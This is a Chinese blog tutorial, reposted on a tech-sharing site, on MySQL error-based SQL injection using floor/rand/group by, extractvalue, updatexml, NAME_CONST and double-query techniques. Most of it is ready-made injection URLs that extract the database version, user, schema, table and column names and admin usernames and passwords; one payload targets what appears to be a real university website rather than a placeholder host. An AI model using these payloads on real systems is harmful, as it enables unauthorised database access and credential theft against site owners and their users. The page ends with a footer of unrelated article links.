mysql注入高级篇3--报错注入

基于报错的注入~~之前我们就说过了,如果程序员小哥哥没有在写程序的时候加一个mysql_error()之类的调试函数或者没有输出点,无法在网页显示出数据内容。

这里就介绍一些基于报错的注入。

1、通过floor暴错

(1)rand()函数

随机函数,每次运行select rand();都会出现不同的值,有趣的是你在括号内指定一个数字试试~

我们直奔主题:

执行:select rand(0) frominformation_schema.tables;

查询结果是我所有的表名以随机数的形式返回的

Rand(0)*2试试,翻两倍了

(2)floor

这个和round要区别下,round是四舍五入获取整数位,而floor的是取整数位。

select floor(rand(0)*2)x frominformation_schema.tables;

这样就变成了100001001001…这样的形式

(3)group by(聚合函数)

聚合成分组返回,详情你可以百度一下。

我们返回的列名是X,值是0和1。所谓聚合,你可以理解成分组,1的站成一队,0的站成一队,只有两队了。

(4)concat函数

函数用于将多个字符串连接成一个字符串

selectconcat(0x7e,version(),0x7e)

select (select (select concat(0x7e,version(),0x7e)))

mysql> select (select (selectconcat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1;

返回的结果都是如下的值

/*数据库版本*/

http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select concat(0x7e,version(),0x7e)from information_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

/*连接用户*/

http://www.xxx.cn/sql.php?id=1+and(select 1 from(selectcount(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*连接数据库*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴库*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,schema_name,0x7e) FROMinformation_schema.schemata LIMIT 0,1)) from information_schema.tables limit0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

/*暴表*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,table_name,0x7e) FROMinformation_schema.tables where table_schema=database() LIMIT 0,1)) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

/*暴字段*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x7e,column_name,0x7e) FROMinformation_schema.columns where table_name=0x61646D696E LIMIT 0,1)) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

/*暴内容*/ http://www.xxx.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select(select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM adminlimit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x frominformation_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

http://www.xxx.cn/sql.php?id=1+and extractvalue(1,concat(0x7e, (select @@version),0x7e)) http://www.xxx.cn/sql.php?id=1+and extractvalue(1, concat(0x7e,(SELECT distinctconcat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

http://www.xxx.cn/sql.php?id=1+andupdatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

http://www.xxx.cn/sql.php?id=1+andupdatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23)FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

5、Error basedDouble Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/*数据库版本*/

http://www.xxx.cn/sql.php?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

下次还有一个最近新出的bigint报错的注入,但是我打算单独写出来,因为挺有趣的。

原文发布于微信公众号 - 晨星先生(MoXuanIT)

原文发表时间:2017-03-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Java进阶之路

IK分词器访问远程词典功能实现

IKAnalyzer是一个开源的,基于java语言开发的轻量级的中文分词工具包。从2006年12月推出1.0版开始,IKAnalyzer已经推出了3个大版本。最...

33620
来自专栏芋道源码1024

数据库分库分表中间件 Sharding-JDBC 源码分析 —— SQL 改写

本文主要基于 Sharding-JDBC 1.5.0 正式版 1. 概述 2. SQLToken 3.SQL 改写 3.4.1 分页补充 3.1 TableTo...

46460
来自专栏程序员的SOD蜜

ORM查询语言(OQL)简介--高级篇:脱胎换骨

相关文章内容索引: ORM查询语言(OQL)简介--概念篇 ORM查询语言(OQL)简介--实例篇 ORM查询语言(OQL)简介--高级篇:脱胎换骨 ORM查询...

58070
来自专栏Java帮帮-微信公众号-技术文章全总结

Oracle应用实战八(完结)——存储过程、函数+对象曹组

游标 在写java程序中有结果集的概念,那么在pl/sql中也会用到多条记录,这时候我们就要用到游标,游标可以存储查询返回的多条数据。 游标可以理解为是PL/S...

36760
来自专栏北京马哥教育

10分钟学会理解和解决MySQL乱码问题

本文将详细介绍MySQL乱码的成因和具体的解决方案。在阅读本文之前,强烈建议对字符集编码概念还比较模糊的同学 阅读下博主之前对相关概念的一篇科普:十分钟搞清字符...

31380
来自专栏坚毅的PHP

mysql数据迁移hbase问题

无法直接dump,写了java多线程程序做迁移 问题1:Operation not allowed after ResultSet closed 裸jdbc语句...

40450
来自专栏Python

Django---ORM操作大全

前言 Django框架功能齐全自带数据库操作功能,本文主要介绍Django的ORM框架 到目前为止,当我们的程序涉及到数据库相关操作时,我们一般都会这么搞:...

1.1K100
来自专栏yukong的小专栏

【ssm个人博客项目实战04】mybatis实现博客类别的增删改查分页

在前面一节我们已经完成后台管理界面的一个实现,在这一节我完成其中的博客类别管理中如果分页显示博客类别信息。

18950
来自专栏张善友的专栏

LINQ to SQL集成到应用程序中需考虑的一些问题

1、LINQ to SQL集成到应用程序中需考虑的一个问题, 到底应该返回IQueryable<T>还是IQueryable? 或许这个列表还应该继续扩展为T,...

22160
来自专栏恰童鞋骚年

走向面试之数据库基础:二、SQL进阶之case、子查询、分页、join与视图

  假设我们有一个论坛网站,其中有一张User表{ UId,Name,Level },Level是一个int类型,代表了用户等级类型,例如:1代表骨灰,2代表大...

10220

扫码关注云+社区

领取腾讯云代金券